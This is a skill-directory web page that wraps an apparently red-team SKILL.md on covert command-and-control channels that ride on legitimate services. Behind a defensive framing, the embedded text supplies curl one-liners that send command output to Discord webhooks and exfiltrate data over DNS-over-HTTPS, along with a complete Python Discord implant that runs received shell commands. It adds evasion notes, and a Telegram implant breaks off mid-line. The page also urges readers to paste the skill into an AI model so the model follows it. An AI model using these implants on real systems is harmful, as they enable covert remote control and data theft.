Skip to content
Skillpedia
Security6.5k · #14126

c2-alternative-channels

What it does

This guide describes how attackers may use common web services to hide control traffic inside normal-looking requests. It is for defenders and red teams who want to detect or simulate that pattern in authorized exercises.

When to use it

  • ✓When a security team wants to check whether traffic to chat or file services is being used as a hidden channel.
  • ✓When an authorized exercise needs to simulate covert channels so defenders can practice detection.
  • ✓When a network team wants rules for unusual DNS or web service traffic.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute →

Example of what to ask your AI

“Could traffic to messaging or file services be hiding control commands on our network? Please help me plan detection checks.”

5 new skills a week. 1 minute to read.

How it works

The agent describes the channel types, such as chat bots or DNS lookups, and suggests logs and alerts that show unusual volume or patterns on those services.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Alternative C2 Channels

Non-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.

Quick Reference

# Discord webhook C2 — post command output
curl -X POST -H "Content-Type: application/json" \
  -d "{\"content\":\"$(whoami)\"}" \
  "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"

# Telegram bot C2 — poll for commands
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text'

# DNS-over-HTTPS exfil via Google
curl -s "https://dns.google/resolve?name=$(echo <DATA> | base64 | tr '+/' '-_').c2.<TARGET>&type=TXT"

MITRE ATT&CK Mapping

Technique ID Usage in Skill
Web Service T1102 Discord, Telegram, cloud functions as C2 relay
Application Layer Protocol: DNS T1071.004 DNS-over-HTTPS for command/data tunneling
Application Layer Protocol: Mail Protocols T1071.003 IMAP/SMTP email-based C2
Encrypted Channel T1573 TLS-wrapped comms to legitimate services

1. Discord Webhook C2

Discord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to discord.com — a domain almost never blocked.

Setup

# Create a Discord server and channel for C2
# Settings > Integrations > Webhooks > New Webhook
# Copy webhook URL: https://discord.com/api/webhooks/<ID>/<TOKEN>

# Create a bot for command input:
# https://discord.com/developers/applications > New Application > Bot
# Enable MESSAGE CONTENT intent
# Invite bot to server with Send Messages + Read Message History

Implant Logic (Python)

#!/usr/bin/env python3
"""Discord C2 implant — polls channel for commands, posts output via webhook."""
import requests, subprocess, time, json, os

WEBHOOK_URL  = "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
BOT_TOKEN    = "<BOT_TOKEN>"
CHANNEL_ID   = "<CHANNEL_ID>"
HEADERS      = {"Authorization": f"Bot {BOT_TOKEN}"}
SLEEP        = 30
LAST_MSG_ID  = None

def poll_command():
    global LAST_MSG_ID
    url = f"https://discord.com/api/v10/channels/{CHANNEL_ID}/messages?limit=1"
    r = requests.get(url, headers=HEADERS)
    if r.status_code != 200:
        return None
    msgs = r.json()
    if not msgs:
        return None
    msg = msgs[0]
    if msg["id"] == LAST_MSG_ID:
        return None
    LAST_MSG_ID = msg["id"]
    return msg["content"]

def send_output(data):
    # Discord message limit is 2000 chars; chunk if needed
    for i in range(0, len(data), 1900):
        chunk = data[i:i+1900]
        requests.post(WEBHOOK_URL, json={"content": f"```\n{chunk}\n```"})

while True:
    cmd = poll_command()
    if cmd and cmd.startswith("!exec "):
        try:
            out = subprocess.check_output(
                cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30
            ).decode(errors="replace")
        except subprocess.TimeoutExpired:
            out = "[TIMEOUT]"
        except Exception as e:
            out = f"[ERROR] {e}"
        send_output(out)
    time.sleep(SLEEP)

OPSEC Notes

  • All traffic goes to discord.com:443 — TLS-encrypted, CDN-hosted
  • Rate limit: ~5 requests/sec per webhook; space commands to avoid 429
  • Bot token exposure = full channel compromise; rotate after engagement
  • Discord logs message content — treat the channel as burned post-op

2. Telegram Bot C2

Telegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution.

Setup

# Create bot via @BotFather on Telegram:
#   /newbot -> name -> username -> receive BOT_TOKEN
# Get chat ID:
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[0].message.chat.id'

Implant Logic (Python)

#!/usr/bin/env python3
"""Telegram Bot C2 — long-poll getUpdates, execute, reply."""
import requests, subprocess, time

BOT_TOKEN = "<BOT_TOKEN>"
CHAT_ID   = "<CHAT_ID>"
API       = f"https://api.telegram.org/bot{BOT_TOKEN}"
OFFSET    = 0
SLEEP     = 15

def poll():
    global OFFSET
    r = requests.get(f"{API}/getUpdates", params={"offset": OFFSET, "timeout": 30})
    updates = r.json().get("result", [])
    for u in updates:
        OF
FAQ

Why are these channels hard to block?

The guide says they use popular services that many organizations must allow.

What traffic should be watched?

Regular connections from servers to chat, file or DNS-over-HTTPS services that are not expected.

Is this for authorized exercises?

Yes. Simulations of these channels need written scope.

Details

Original description by the author

Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#14126
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills